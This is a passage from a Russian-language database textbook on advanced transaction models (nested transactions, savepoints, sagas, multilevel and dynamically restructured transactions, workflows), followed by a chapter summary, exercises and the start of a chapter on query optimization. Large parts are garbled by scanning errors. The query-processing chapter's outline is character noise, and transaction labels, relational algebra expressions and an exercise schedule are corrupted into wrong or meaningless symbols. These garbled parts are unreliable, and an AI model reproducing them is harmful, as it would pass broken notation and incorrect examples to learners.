С учетом фактора времени, продолжительные транзакции могут получать доступ (например, устанавливать блокировки) к очень большому количеству элементов данных. Во избежание возможного взаимного влияния транзакций, все эти элементы станут недоступными другим приложениям вплоть до завершения данной транзакции. Однако крайне нежелательно, чтобы существенный объем данных оставался недоступным на протяжении достаточно продолжительного периода времени, поскольку это отражается на уровне параллельности обработки в системе.
Чем дольше выполняется транзакция, тем вероятнее возникновение ситуации взаимной блокировки, когда в системе используется протокол, допускающий подобные ошибки. Было показано, что вероятность возникновения взаимной блокировки пропорциональна четвертой степени времени выполнения транзакции (Gray, 1981).
Одним из способов организации кооперативной работы группы сотрудников является предоставление им возможности совместно использовать требуемые элементы данных. Однако традиционные протоколы управления транзакциями существенно ограничивают возможности такой кооперации, соблюдая требования изоляции незавершенных транзакций друг от друга.
Модель вложенных транзакций
Модель вложенных транзакций была предложена Моссом (Moss) в 1981 г. В этой модели транзакция рассматривается как набор связанных подзадач, называемых субтранзакциями, каждая из которых также может состоять из произвольного количества субтранзакций. В данном представлении полная транзакция представляет собой древовидную структуру или некоторую иерархию субтранзакций. В модели вложенных транзакций присутствует транзакция верхнего уровня, содержащая некоторое количество дочерних транзакций, каждая из которых, в свою очередь, может включать вложенные транзакции, и т.д. В исходном варианте, предложенном Моссом, только транзакциям листового уровня (субтранзакциям самого нижнего уровня
вложения) разрешается выполнять операции в базе данных. В табл. 17.16 приведен пример вложенной транзакции Тр выполняющей резервирование места в гостинице и заказ билетов для некоторого путешествия. Она включает субтранзакции заказа авиабилетов (Т2), бронирования места в отеле (Т5) и найма автомобиля (Тб). Транзакция заказа авиабилетов тоже является вложенной и состоит из двух субтранзакций: заказа билета для перелета из Лондона в Париж (Т3) и бронирования места на согласованном рейсе из Парижа в Нью-Йорк (Т4). Завершение работы транзакций должно происходить в направлении снизу вверх. Следовательно, транзакции Т3 и Т4 должны закончить свою работу до завершения работы их родительской транзакции Т2, а работа транзакции Т2 должна быть завершена до окончания работы ее родительской транзакции ТР Однако отмена транзакции на некотором уровне не оказывает влияния на связанные транзакции более высоких уровней. Вместо этого родительской транзакции разрешается выполнить свою собственную операцию восстановления нормальной работы, воспользовавшись одним из следующих допустимых способов.
Повторить выполнение субтранзакции.
Проигнорировать данный отказ. В этом случае субтранзакция полагается несущественной. В нашем примере несущественной можно считать транзакцию найма автомобиля (Тв) — выполнение всей транзакции оформления заказа может быть продолжено и без нее.
Запустить альтернативную транзакцию, называемую возможной субтранзакцией. В нашем примере, если не удастся забронировать место в отеле Хилтон, может быть запущена субтранзакция бронирования места в другом отеле — например, Шератон.
Прекратить свое Выполнение.
Таблица 17.16. Пример вложенной транзакций
Команды
Название транзакций
begin_transaction Тт
Complete_Reservation
begin_transaction Т2
Airline-reservation
begin_transaction Т3
reserve_airline_seat(London, Paris);
commit T3;.
First_flight
begin_transaction T4
reserve_airline_seat(Paris, New York);
commit T4;
commit T2;
Connecting-flight
begin_transaction T5 book-hotel(Hilton);
commit T5;
Hotel_reservation
begin-transaction T6 book_car();
commit T6;
commit Tj?
Car-reservation
Обновления, выполненные завершенными субтранзакциями промежуточных уровней, должны быть видны только их непосредственным родителям. Следовательно, когда транзакция Т3 будет завершена, внесенные ею изменения будут видны только транзакции Т2. Они будут недоступны транзакции TL или любой другой транзакции, внешней по отношению к транзакции ТР Более того, завершение субтранзакции является условно зависимым от нормального завершения или отмены ее родительских транзакций. При использовании данной модели транзакция верхнего уровня обладает всеми четырьмя свойствами (ACID), которыми должны обладать традиционные плоские транзакции.
Для модели вложенных транзакций Моссом был предложен и протокол управления параллельностью, построенный по принципу жесткой двухфазной блокировки. Субтранзакции родительской транзакции выполняются так, как если бы они были независимыми транзакциями. Субтранзакциям разрешается устанавливать блокировку элемента, если некоторая другая транзакция, уже установившая блокировку, с которой конфликтует данная субтранзакция, является ее родительской. Когда субтранзакция завершает работу, установленные ею блокировки наследуются родительской транзакцией. При наследовании блокировки родитель получает более эксклюзивный режим блокировки, если и дочерняя, и родительская транзакции устанавливали блокировку одного и того же элемента данных.
Ниже перечислены основные преимущества модели вложенных транзакций.
Модульность. Транзакция может быть разложена на произвольное количество субтранзакций, что способствует повышению уровня параллельности обработки и расширяет возможности восстановления.
Создание дополнительного уровня детализации в механизмах управления параллельностью и восстановлением. Введение нового уровня субтранзакций, помимо уровня основных транзакций.
Достижение параллельности обработки в пределах транзакции. Субтранзакции могут выполняться в параллельном режиме.
Возможность управления восстановлением в пределах транзакции. Отмененные субтранзакции могут быть отброшены или проигнорированы без каких-либо побочных эффектов для других субтранзакций.
Эмуляция механизма вложенных транзакций с помощью точек сохранения
Точкой сохранения называется определенная точка в плоской транзакции, представляющая некоторое частично согласованное состояние, которая может быть использована как точка промежуточного рестарта транзакции в случае возникновения каких-либо проблем. Фактически, это одна из задач модели вложенных транзакций, состоящая в предоставлении некоторой единицы восстановления работы, более мелкой, чем вся транзакция в целом. В процессе выполнения транзакции пользователь может организовать точку сохранения — например, с помощью оператора SAVE WORK. При его выполнении генерируется некоторый идентификатор, который пользователь впоследствии сможет применить для отката транзакции до данного, зафиксированного состояния — например, с помощью оператора ROLLBACK WORK идентифнкатор_точки_~ сохранений. Однако, в отличие от модели вложенных транзакций, при использовании точек сохранения не обеспечивается какая-либо из форм параллельности обработки в пределах транзакции.
Хроники
Концепция хроник (sagas), которая была введена Гарсия-Молином (Garsia-Molina) и Салемом (Salem) в 1987 г., построена на использовании понятия компенсирующих транзакций. Авторы определяют хронику как последовательность (плоских) транзакций, которые могут чередоваться с прочими транзакциями. СУБД гарантирует, что либо все входящие в хронику транзакции будут успешно завершены, либо будут запущены компенсирующие транзакции, необходимые для устранения достигнутых частичных результатов. В отличие от метода вложенных транзакций, допускающего произвольный уровень вложения, метод хроник разрешает наличие единственного уровня вложения. Более того, для каждой выделенной субтранзакции должна существовать соответствующая компенсирующая транзакция, которая будет семантически аннулировать результаты, достигаемые с помощью данной субтранзакции. Таким образом, если имеется хроника, состоящая из последовательности п транзакций Тр Т2, ..., Тп, с соответствующим набором компенсирующих транзакций Ср С2, ...» Сп, то окончательный результат выполнения хроники будет определяться одной из следующих последовательностей транзакций:
Тр Т2, ..., Тп — если вся транзакция была успешно завершена.
Т] Т2, ..., Tit См, ..., С2, Cj — если выполнение транзакции Т^ было прекращено.
Так, если обратиться к примеру с резервированием места в гостинице (см. табл. 17.16), то при подготовке соответствующей хроники потребуется изменить структуру транзакции с целью удаления вложенной транзакции бронирования авиабилетов:
Т3, Т4, Т5, Т6
Вошедшие в хронику субтранзакции представляют собой листовые узлы транзакции верхнего уровня. Не составит особого труда и подготовить компенсирующие транзакции, предназначенные для отмены заказа на авиабилеты, резервирования номера в гостинице и проката автомобиля.
По сравнению с обычными плоскими транзакциями, хроники нарушают требования к изолированности отдельных транзакций, открывая промежуточные результаты своего выполнения другим, выполняющимся параллельно транзакциям еще до завершения своей работы. Применение хроник оказывается достаточно эффективным в тех случаях, когда входящие в нее субтранзакции относительно независимы и могут быть подготовлены необходимые компенсирующие транзакции. В некоторых случаях предварительное определение компенсирующей транзакции может оказаться затруднительным. В этом случае может потребоваться, чтобы СУБД провела некоторое взаимодействие с пользователем, который укажет подходящий случаю способ выполнения компенсации. В других случаях определение компенсирующей транзакции может оказаться вообще невозможным. Например, может оказаться невозможным подготовить компенсационную транзакцию для транзакции, которая получает выручку из автоматического кассового аппарата.
Модель многоуровневых транзакций
Модель вложенных транзакций, обсуждавшаяся в разделе 17.4.1, требует, чтобы завершение работы субтранзакций выполнялось снизу вверх, в направлении транзакции верхнего уровня. Поэтому данную модель более точно называть моделью закрытых вложенных транзакций, дабы подчеркнуть, что свойство атомарности в транзакциях сохраняется до самого верхнего уровня. В противоположность этому, существует и модель открытых вложенных транзакций, в которой атомарность нарушается и частичные результаты выполнения субтранзакций могут быть доступны вне транзакции. Примером модели открытых вложенных транзакций является модель хроник, обсуждавшаяся в предыдущем разделе.
Одним из вариантов модели открытых вложенных транзакций является модель многоуровневых транзакций, в которой дерево субтранзакций является сбалансированным (Weikum, 1991; Weikum and Schek, 1991). Узлы одного и того же уровня дерева соответствуют операциям одного и того же уровня абстракции в СУБД. Ветви дерева представляют реализацию операции посредством последовательности операций на следующем уровне глубины. Уровни n-уровневой транзакции обозначаются как Lo, Lp Ln, где Lo — самый нижний уровень дерева, a Ln — корень дерева. Методы обработки обычных плоских транзакций гарантируют, что на самом нижнем уровне (Lo) конфликты будут отсутствовать. Основная концепция модели многоуровневых транзакций состоит в том, что две операции на уровне Ц могут не конфликтовать, даже если их реализации на следующем, более низком уровне Ь1Л конфликтуют. Используя преимущество знания информации о конфликтах на конкретном уровне, модель многоуровневых транзакций позволяет достичь более высокой степени параллельности по сравнению с моделями обработки плоских транзакций.
Например, рассмотрим график, состоящий из двух транзакций Т7 и Т8, который представлен в табл. 17.17. Можно легко показать, что этот график не является конфликтно упорядоченным. Однако рассмотрим вариант разделения транзакций Т7 и Т8 на субтранзакции с операциями более высокого уровня:
Т7:Т71, увеличение balx на 5Т8:Т81, увеличение baly на 10
Т72, уменьшение baly на 5Т82, уменьшение balx на 2
Зная особенности этих операций и учитывая правило перестановки для операций сложения и вычитания, мы можем выполнять эти субтранзакции в любом порядке, всегда гарантированно получая правильный результат.
Таблица 17.17. Пример неупорядоченного графика
Транзакция Т7Транзакция Т8
begin_transaction
read(balx)
balx = balx + 5
write(balx)
begin_transaction read(baly) baly = baly + 10 write(baly) read(baly) baly = baly - 5 write(baly)
commit
'read(balx)
balx = balx - 2
write(balx)
commit
Динамическая реструктуризация
В начале этого раздела обсуждались некоторые особенности приложений поддержки выполнения различных проектов — например, неопределенная продолжительность работы (от нескольких часов до месяцев), чередование с другими видами операций, неопределенность процесса обработки, не позволяющая предвидеть все аспекты работы с самого начала ее выполнения, и т.д. В обход ограничений, налагаемых основными свойствами (ACID) плоских транзакций, были предложены две новые операции: разбиение транзакции (split_transaction) и объединение транзакций (join_transaction) (Pu et al., 1988). Принцип, положенный в основу операции разбиения транзакции, состоит в разделении активной транзакции на две упорядоченные транзакции и распределении между ними выполняемых действий и используемых ресурсов (например, заблокированных элементов данных). С этого момента вновь созданные транзакции могут независимо выполняться (возможно, даже под контролем разных пользователей) и обрабатываться так, как если бы они всегда были совершенно независимыми. Подобный подход позволяет сделать промежуточные результаты транзакции доступными другим транзакциям, причем с полным сохранением их семантики — другими словами, если исходная транзакция отвечала всем ACID-требованиям, то так же поведут себя и новые транзакции.
Операция разделения транзакции может применяться только в том случае, если возможно создать две транзакции, которые будут упорядочены друг с другом и со всеми другими выполняющимися в данный момент транзакциями. Условия, которые разрешают разделение транзакции Т на две транзакции, А и В, можно определить следующим образом.
AWriteSet n BWriteSet с BWriteLast. Это условие утверждает, что если обе транзакции, А и В, выполняют запись в один и тот же элемент данных, то операция записи транзакции В должна выполняться после операции записи транзакции А.
AReadSet n BWriteSet = 0. Это условие утверждает, что транзакция А не может видеть никаких результатов выполнения транзакции В.
BReadSet n AWriteSet = ShareSet. Это условие утверждает, что транзакция В может видеть результаты выполнения транзакции А.
Приведенные выше условия гарантируют, что транзакция А в упорядоченном графике будет предшествовать транзакции В. Однако, если выполнение транзакции А будет прервано, выполнение транзакции В также необходимо будет отменить, поскольку она использует данные, записанные транзакцией А. Если оба множества BWriteLast и ShareSet пусты, то транзакции А и В могут быть упорядочены в любой последовательности и работа их будет совершенно независимой.
Операция объединения транзакций выполняет обратные действия по отношению к операции разделения транзакций, сливая результаты работы двух или более независимых транзакций так, как если бы эти транзакции всегда представляли собой единую транзакцию. Использование операций разделения транзакции, дополненных операциями объединения одной или больше вновь созданных транзакций, позволяет обмениваться ресурсами между определенными транзакциями, не делая эти ресурсы доступными другим транзакциям.
Основные достоинства метода динамической реструктуризации состоят в следующем.
Адаптивное восстановление. Возможность зафиксировать часть выполненной в транзакции работы, что исключает ее зависимость от последующих отказов.
Снижение уровня изолированности. Возможность освободить часть использовавшихся в транзакции ресурсов посредством фиксации уже выполненной части ее работы.
Модели рабочих потоков
Все обсуждавшиеся в этом разделе модели были разработаны с целью преодоления ограничений, накладываемых моделью плоских транзакций, не приемлемых для транзакций большой продолжительности. Однако было отмечено, что все эти модели по- прежнему не обладают мощностью, необходимой для удовлетворения потребностей деловых процессов определенных видов. Поэтому были предложены более сложные модели, представляющие собой комбинации моделей открытых и вложенных транзакций. Однако, поскольку эти модели слабо отвечают ACID-требованиям плоских транзакций, для них используется более подходящее название — модели рабочих потоков.
Рабочий поток представляет собой некоторый вид деятельности, предусматривающий координированное выполнение множества заданий, осуществляемых различными субъектами обработки, которые могут представлять собой людей или некоторые программные комплексы (например, СУБД, прикладные программы или службы электронной почты). Рассмотрим пример с подготовкой соглашений о сдаче объектов недвижимости в аренду, который можно найти в учебном проекте DreamHome. Клиент, желающий арендовать некоторый объект недвижимости, устанавливает контакт с соответствующим работником компании (инспектором), отвечающим за этот объект недвижимости. Инспектор обращается к контролеру компании, обязанности которого состоят в проверке кредитоспособности клиента и определении того, может ли компания ему доверять. С этой целью контролер использует соответствующие источники информации — например, бюро проверки кредитоспособности. Собрав интересующие его сведения, контролер принимает решение о приемлемости данного клиента для компании и сообщает о своем решении инспектору, который извещает о принятом решении клиента.
Перед любыми системами с рабочими потоками стоят две общие проблемы: определение рабочего потока и выполнение рабочего потока. Обе проблемы усложняются тем фактом, что во многих организациях одновременно используется несколько независимых компьютерных систем, предназначенных для автоматизации различных сторон общего процесса. Приведенные ниже определения выделяют ключевые элементы, используемые при определении рабочего потока (Rusinkiewicz and Sheth, 1995).
Спецификация задания — структура выполнения каждого задания, определяемая посредством предоставления набора обозримых извне состояний процесса и набора переходов между этими состояниями.
Требования по координации заданий — обычно задаются посредством указания зависимостей между процессами выполнения заданий и зависимостей между потоками данных, дополненных условиями завершения рабочего потока.
Требования к корректности выполнения — ограничений, накладываемые на показатели выполнения рабочего потока, с целью его соответствия требованиям корректности в данном приложении. Сюда относятся требования по устойчивости к отказам, независимости и параллельности обработки, возможностям восстановления и т.д.
Процессам выполнения свойственна семантика открытой вложенности, допускающая видимость промежуточных результатов процесса вне его границ и разрешающая различным компонентам фиксировать результаты своей работы в индивидуальном порядке. Компонентами могут быть другие субъекты обработки, характеризующиеся как семантикой открытой вложенности, так и семантикой закрытых вложенных транзакций, результаты функционирования которых будут видны всей системе только после полного завершения работы этого компонента. Следует отметить, что компоненты с семантикой закрытых вложенных транзакций могут состоять только из компонентов с семантикой того же типа. Некоторые из этих компонентов могут расцениваться как жизненно важные, и в случае отказа от их выполнения потребуется прекратить выполнение и их родительских компонентов. Коме того, могут быть определены компенсирующие и возможные (альтернативные) транзакции, речь о которых уже шла выше.
Более полное обсуждение улучшенных моделей транзакций заинтересованный читатель может найти в трудах Корта (Korth et al., 1988), Скарры и Здоника (Skarra and Zdonik, 1989), Хошафиана и Абноуса (Khoshafian and Abnous, 1990), Барготи и Кайзера (Barghouti and Kaiser, 1991), а также Грея и Реутера (Gray and Reuter, 1993).
Резюме
Управление параллельностью представляет собой процесс поддержки одновременного выполнения операций в базе данных, причем без оказания влияния друг на друга. Восстановление базы данных представляет собой процесс приведения базы данных в корректное состояние, нарушенное в результате отказа. Используется для защиты базы данных как от перехода в несогласованное состояние, так и от потери данных.
Транзакцией называется логическая единица работы, в результате выполнения которой база данных переходит из одного согласованного состояния в другое. Транзакция может быть завершена успешно (зафиксирована) или неуспешно (отменена). В случае отмены транзакции для нее необходимо выполнить откат. Транзакция также является единицей управления параллельностью и единицей управления восстановлением.
Управление параллельностью необходимо в том случае, если несколько пользователей могут получать доступ к базе данных одновременно. При отсутствии управления параллельностью неизбежно возникновение проблем потерянного обновления» зависимости от промежуточных результатов и несогласованности обработки. Последовательное выполнение означает выполнение транзакций поодиночке, одна за другой, без чередования их операций. График определяет последовательность выполнения операций транзакций. График является упорядоченным, если результаты его выполнения аналогичны результатам выполнения некоторого последовательного графика.
Двумя методами, гарантирующими упорядоченность создаваемых графиков, яв- , ляются метод двухфазной блокировки и метод использования временных отметок. Блокировка может устанавливаться для записи или для чтения. Протокол двухфазной блокировки требует, чтобы транзакция выполняла блокировку всех необходимых ей объектов до начала их освобождения. Протокол использования временных отметок упорядочивает транзакции таким образом, что в случае возникновения конфликта более старая транзакция имеет приоритет.
Взаимная блокировка возникает в том случае, когда две или более транзакции ожидают получения доступа к элементу данных, заблокированному другой транзакцией из этой группы. Единственный способ устранить уже возникшую ситуацию взаимной блокировки состоит в прекращении выполнения одной или более транзакций.
Для представления уровня детализации блокируемых элементов данных в системе, допускающей блокирование элементов данных различных размеров, может использоваться древовидная структура. При блокировании некоторого элемента данных блокируются и все его потомки. Когда новая транзакция запрашивает выполнение блокировки, требуется проверить состояние всех его родительских узлов для выяснения того, не являются ли они заблокированными. Для указания, является ли заблокированным какой-либо из потомков некоторого узла, блокируются по намерению все родительские узлы каждого из блокируемых транзакциями узлов.
Среди причин отказа можно назвать аварийные остановы систем, выход из строя носителей, ошибки в прикладных программах, небрежные или непродуманные действия пользователей, природные катастрофы и диверсии. Отказ может вызывать разрушение данных в оперативной памяти компьютера и/или повреждение файлов базы данных на дисках. Используемые технологии восстановления позволяют минимизировать последствия отказов.
■ Одним из методов обеспечения возможности восстановления системы является ведение файла журнала, в который помещаются записи о начале/окончании транзакций и копии обновляемых в базе данных до и после выполнения операций записи. При использовании протокола отложенной записи сведения об операциях записи сначала заносятся в файл журнала, после чего уже записи журнала используются для действительного внесения изменений в базу данных. В случае отказа системы записи в файле журнала анализируются с целью определения, какие транзакции должны быть выполнены повторно. Необходимость в откатах каких-либо транзакций отсутствует. При использовании протокола немедленной записи изменения переносятся в базу данных, как только сведения о них помещаются в файл журнала. При отказе файл журнала используется как для отката, так и для повторного прогона соответствующих транзакций.
■ Контрольные точки используются для повышения эффективности процессов восстановления системы. При создании контрольной точки из оперативной памяти на диск выгружаются все модифицированные блоки данных и все записи файла журнала, после чего в журнал заносится специальная запись контрольной точки. В случае отказа системы по содержанию записи контрольной точки определяется, какие именно транзакции подлежат повторному прогону.
■ К группе улучшенных моделей транзакций относятся модель вложенных транзакций, модель хроник, модель многоуровневых транзакций, модель динамической реструктуризации транзакций и различные модели рабочих потоков.
Вопросы
Объясните, что подразумевается под понятием транзакции. Почему транзакции являются важнейшим объектом управления в любой СУБД?
Поясните аспекты согласованности и надежности транзакций, следующие из определения их основных (ACID) свойств. Опишите каждое из этих свойств и укажите их связь с механизмами управления параллельностью и восстановлением. Дополните ваш ответ конкретными примерами.
Опишите на конкретных примерах те типы проблем, которые могут иметь место в многопользовательской среде с параллельным доступом к базе данных.
Дайте детальное описание механизма управления параллельностью, который может использоваться для полного устранения всех проблем, обсуждавшихся в примере 17.3. Поясните, за счет чего предложенный вами механизм позволит исключить упомянутые проблемы. Опишите, как механизм управления параллельностью взаимодействует с механизмом транзакций.
Опишите те типы проблем, которые могут иметь место при использовании механизмов управления параллельностью, применяющих методы блокирования элементов данных. Укажите действия, которые могут быть предприняты СУБД для предотвращения появления упомянутых проблем.
Поясните концепции последовательного, непоследовательного и упорядоченного графиков. Сформулируйте правила эквивалентности графиков.
Поясните различия между конфликтной упорядоченностью и упорядоченностью по просмотру.-
Опишите типы отказов, которые могут иметь место в вычислительных системах с базами данных. Поясните, почему любая многопользовательская СУБД должна включать тот или иной механизм восстановления.
Поясните, почему файл журнала является основным элементом в любом механизме восстановления. Объясните, что означает прямое и обратное восстановление, и опишите, как файл журнала используется в каждом из этих случаев. В чем заключается важность протокола предварительной записи файла журнала? Какое влияние оказывает механизм создания контрольных точек на работу протокола восстановления?
Опишите особенности следующих улучшенных моделей транзакций:
модели вложенных транзакций;
модели хроник;
модели многоуровневых транзакций;
модели динамической реструктуризации транзакций.
Упражнения
Проанализируйте особенности той СУБД, с которой вы работаете в настоящее время. Какой протокол управления параллельностью она использует? Какой тип механизма восстановления используется в ней? Предоставляется ли поддержка каких-либо из улучшенных моделей транзакций, описанных в разделе 17.4?
Дайте ответ на следующие вопросы:
поясните, что означает правило принудительной записи и как с помощью этого правила можно проверить, является ли некоторый график упорядоченным. Воспользовавшись этим методом, определите, являются ли упорядоченными следующие графики:
S = [R^Z), R2(Y), W2(Y), R3(Y), RJX), WJX), WJZ), W3(Y)r
R2(X)r RJY), W^Y), W2(X), R3(W), W3(W)]
Здесь обозначения Ri (Z) и Wi (Z) определяют операции чтения и записи (соответственно) элемента Z транзакции i:
имеет ли смысл создавать алгоритм управления параллельностью, основанный на понятии упорядоченности? Проиллюстрируйте свой ответ примерами. Как понятие упорядоченности используется в стандартных протоколах управления параллельностью?
Нарисуйте граф ожиданий для приведенного ниже примера транзакций и определите, имеет ли место ситуация взаимной блокировки.
Транзакция
Элементы данных, заблокированные транзакцией
Элементы данных, освобождения которых транзакция ожидает
Т,
х2
Хз, Хз
Т2
Хз,, Х10
Х7, Х8
Т3
Х8
Х4, Х5
т4
X,
X,
Т5
Х1, х5
Хз
Т(
х4, X,
Х6
т7
Х6
Х5
Напишите алгоритм установки разделяемой и эксклюзивной блокировки. Какое влияние на этот алгоритм оказывает уровень детализации блокируемых элементов данных?
Напишите алгоритм проверки того, находятся ли выполняемые в данный момент транзакции в состоянии взаимной блокировки.
Объясните, почему на практике невозможно реализовать действительно надежное хранение данных. Каким образом можно смоделировать надежное хранилище данных?
Реально ли для существующих СУБД организовать динамическую поддержку графа ожидания, вместо того чтобы создавать его каждый раз при выполнении алгоритма выявления состояния взаимной блокировки?
ГЛАВА
аж®*
Обработка запросов
В этой главе... / Ж Д|М
.кЦель обработки и оптимизации запросов. тайю$И Статическая и динамическая оптимизация задросо / 7 Декомпозиция и семантический анализ запрскЖ? Создание дерева выражений реляционной алхздЦЙ, 4^цр^дставляющего структуру запроса. \W
й®й®ййПравила эквивалентности операций реляционной алгебр1й(^Я - ;П^ф<4жейие эвристических правил преобразования запрос® f t: ; для повышения эффективности их обработки.
й®
й®
й
й
^^:Типы статистических показателей состояния 6a3N..;||^це^хоДЙйые для оценки стоимости операци^ЙЙ^азличные^ст^^тегии реализации операций выбой
■
угоды вычисления стоимости и размера результ^ набрра операций выборки данных. ;' ;^
Различные стратегии реализации операций соедине:^С^нка стоимости ^размерМ' результирующего^" ?. “
^Различные стр^^^и реализ1 ^Оценка стоимоЭ^Ш размера
- операции^" х" "”
Оценка стоимбстй и р
^у^\ sNtW№@K®^Bti'
ра рёё^лЙ^^М ионной айЯкиК
^^Н#еЙерцрй
₽®явй'|
^й
Разли^яЧйёжду^рв^,,. ёнием 'Ж^^уЯ - ^®5"ЯВ
^йик<^запробовЛуУ* 1^МНг
Ш)йт4^ества:й<^^Левосторонних деревьев;
<1Ж
%
МЦТ#Ый;
Когда на рынке появились первые коммерческие приложения, выполненные на базе реляционной модели данных, из всех свойственных им недостатков основным критика признала низкую производительность при обработке запросов. С тех пор было проведено множество исследований, посвященных поиску высокоэффективных алгоритмов обработки запросов. Существует много различных способов выполнения сложных запросов, поэтому одной из важнейших задач теории обработки запросов является определение того, какой из существующих методов является наиболее эффективным.
В первом поколении сетевых и иерархических баз данных низкоуровневый язык обработки запросов обычно встраивался в какой-либо из высокоуровневых языков про- грщлмирования — например, в COBOL. Поэтому ответственность за выбор оптимальной стратегии обработки запросов возлагалась на программиста. В противоположность этому, при использовании декларативных языков, подобных языку SQL, пользователь определяет, какие данные ему нужны, не указывая конкретно, как эти данные могут быть получены. Подобный подход снимает с пользователя ответственность за определение того, какую стратегию следует применить для достижения высоких показателей производительности. Более того, от пользователя вообще не требуется каких-либо знаний о существующих стратегиях, что существенно повышает универсальность использования языка. Кроме того, перенос ответственности за выбор оптимальной стратегии обработки запросов на СУБД предотвращает выбор пользователями стратегий выполнения запросов, которые будут заведомо неэффективны, и предоставляет СУБД больше возможностей контролировать общую производительность всей системы.
Существует два основных метода обработки запросов, хотя на практике чаще всего используется некоторая их комбинация. Первый метод для определения порядка выполнения операций обработки запроса предполагает использование эвристических правил. Второй метод заключается в сравнительной оценке стоимости различных вариантов выполнения запроса и выбора того варианта, который предполагает минимальное использование ресурсов. Поскольку скорость доступа к данным на диске невелика (по сравнению со скоростью доступа к данным в оперативной памяти), основную стоимость операций обработки запроса в централизованных СУБД составляет стоимость дисковых операций. Поэтому при выполнении оценки стоимости именно этот показатель будет интересовать нас в наибольшей степени.
Структура этой главы
В разделе 18.1 мы с обсудим общую процедуру обработки запросов и познакомимся с основными фазами этого процесса. В разделе 18.2 дается описание первой фазы процедуры обработки запросов, которую принято называть декомпозицией. Задача этого этапа — преобразование высокоуровневого запроса в запрос, выраженный на языке реляционной алгебры, а также проверка его синтаксической и семантической корректности. В разделе 18.3 будет обсуждаться эвристический подход к оптимизации запросов, при котором операции запроса упорядочиваются с использованием правил преобразования, позволяющих выработать эффективную стратегию выполнения. В разделе 18.4 рассматривается подход, предусматривающий оптимизацию запросов за счет выполнения оценок стоимости отдельных операций. Для каждой из возможных стратегий выполняется оценка ее относительной стоимости, после чего выбирается вариант с минимальным использованием системных ресурсов. В разделе 18.5 обсуждается конвейерная обработка — метод, который может использоваться для дальнейшего повышения эффективности обработки запросов. Конвейерная обработка позволяет организовать параллельное выполнение нескольких операций запроса, не дожидаясь окончания одной операции, чтобы иметь возможность запустить следующую.
В этой главе мы обсудим методы обработки и оптимизации запросов, используемые в централизованных реляционных СУБД, поскольку именно таким системам посвящена большая часть данной книги. Однако некоторые обсуждаемые здесь методы в общем случае применимы и в случае других типов систем, имеющих высокоуровневый интерфейс пользователя. В разделе 20.7 кратко обсуждается обработка запросов в среде распределенных СУБД. В разделе 23.5 будет показано, как некоторые из
обсуждаемых в данной главе методов могут быть расширены с целью применения их в среде объектно-реляционных СУБД, поддерживающих обработку запросов, включающих типы данных и функции, определенные пользователем.
Предполагается, что читатель хорошо знаком с концепциями реляционной алгебры, обсуждавшимися в разделе 3.4.1, а также с различными типами файловой организации, описываемыми в приложении Б. Все приводимые в этой главе примеры взяты из учебного проекта DreamHome, описание которого было приведено в разделе 1.7.
Общий обзор методов обработки запросов
Обработка
Действия, необходимые для извлечения требуемой информации из
запросов
базы данных.
Целью выполнения процедуры обработки запросов является преобразование запроса, записанного на языке высокого уровня (обычно это язык SQL), в корректную и эффективную последовательность операций (план запроса), записанную на языке низкого уровня, реализующем операции реляционной алгебры. Дальше подготовленный план обработки запроса выполняется с целью выборки требуемых данных.
Оптимизация Процедура выбора наиболее эффективного плана выполнения по- запроса ступившего запроса.
Важнейшим аспектом обработки запросов является их оптимизация. В результате трансформации одного и того же высокоуровневого запроса может быть получено множество его эквивалентных вариантов. Поэтому цель оптимизации состоит в выборе такого варианта представления запроса, для обработки которого потребуется минимальное количество системных ресурсов. Обычно предпринимается попытка сократить общее время выполнения запроса, представляющее собой сумму времени выполнения всех его отдельных операций (Selinger et. al., 1979). Однако использование ресурсов также может являться показателем, оптимизируемым в целях улучшения времени реакции системы, так как фактически в данном случае речь идет о максимально возможном распараллеливании выполнения операций (Valdurez and Gardian, 1984). Поскольку основная проблема связана со сложностью выполнения вычислительных операций с большим количеством отношений, выбираемая стратегия чаще всего сводится к поиску ближайшего из возможных оптимальных решений (Ibaraki and Kameda, 1984).
Оба метода оптимизации запросов опираются на статистические показатели, накопленные для обрабатываемой базы данных. Эти величины используются для выполнения обоснованного выбора среди всех возможных вариантов. Точность и актуальность имеющихся статистических данных оказывают решающее влияние на общую эффективность результатов оптимизации выполняемых вычислений. Статистические показатели включают сведения об отношениях, атрибутах и индексах. В частности, системный каталог может хранить сведения о текущей кардинальности отношений, количестве уникальных значений для каждого из атрибутов, а также о числе уровней всех многоуровневых индексов. Задача поддержки статистических сведений в актуальном состоянии может представлять собой серьезную проблему. Если СУБД будет выполнять обновление статистических показателей при каждой вставке, обновлении или удалении кортежа, то это окажет весьма существенное влияние на общую производительность системы в периоды ее пиковой нагрузки. В альтернативном варианте, который чаще всего используется на практике, процедуры обновления статистики выполняются либо с установленным периодом (например, каждую ночь), либо в моменты простоя системы. Подробнее речь о сборе статистических сведений в базах данных пойдет в разделе 18.4.1.
Для иллюстрации результатов применения различных стратегий оптимизации запросов с точки зрения использования системных ресурсов воспользуемся следующим примером.
При^ерЛвЛ.Срабнение различных методов обработкизапросов
Определите имена всех менеджеров, работающих в лондонских отделениях компании Требуемый SQL-запрос может быть записан в следующем виде:
SELECT *
FROM staff s, branch b WHERE S.bno = b.bno AND (s.position = 'Manager' AND b.city = 'London');
Исходя из правил эквивалентности выражений реляционной алгебры, приведенный выше запрос можно записать в следующих трех вариантах:
!♦ ^(position*'Manager') а (city*'London') л (staff.bno«branch.bno)(Staff X Branch)
2* ^(po8ition»'Manager') л (city*'London')(Staff ><j staff.bno*branch.bno Branch)
3e (Opogition* 'Manager' (Staff)) X staff .bno*branch.bno( ^city»'London' (Branch))
Чтобы придать конкретность нашему обсуждению, предположим, что таблица Staff содержит 1000 кортежей, а таблица Branch — 50. Далее примем, что пять из 50 менеджеров компании управляют отделениями, находящимися в Лондоне. Сравнение трех вариантов записи одного и того же запроса мы проведем с точки зрения количества операций доступа к диску, выполняемых в каждом случае. Для упрощения будем считать, что ни одно из используемых отношений не имеет каких-либо индексов или ключей сортировки, а результаты любых промежуточных операций всегда записываются на диск. Операции записи на диск окончательных результатов выполнения запроса игнорируется, поскольку их количество в каждом из трех рассматриваемых вариантов одинаково. Дополнительно предположим, что по каждой дисковой операции осуществляется доступ только к одному кортежу (хотя на практике обмен с дисковыми устройствами осуществляется блоками, содержащими как правило, сразу несколько кортежей), а оперативная память компьютера достаточно велика, чтобы разместить все отношения, используемые при выполнении любой из операций реляционной алгебры.
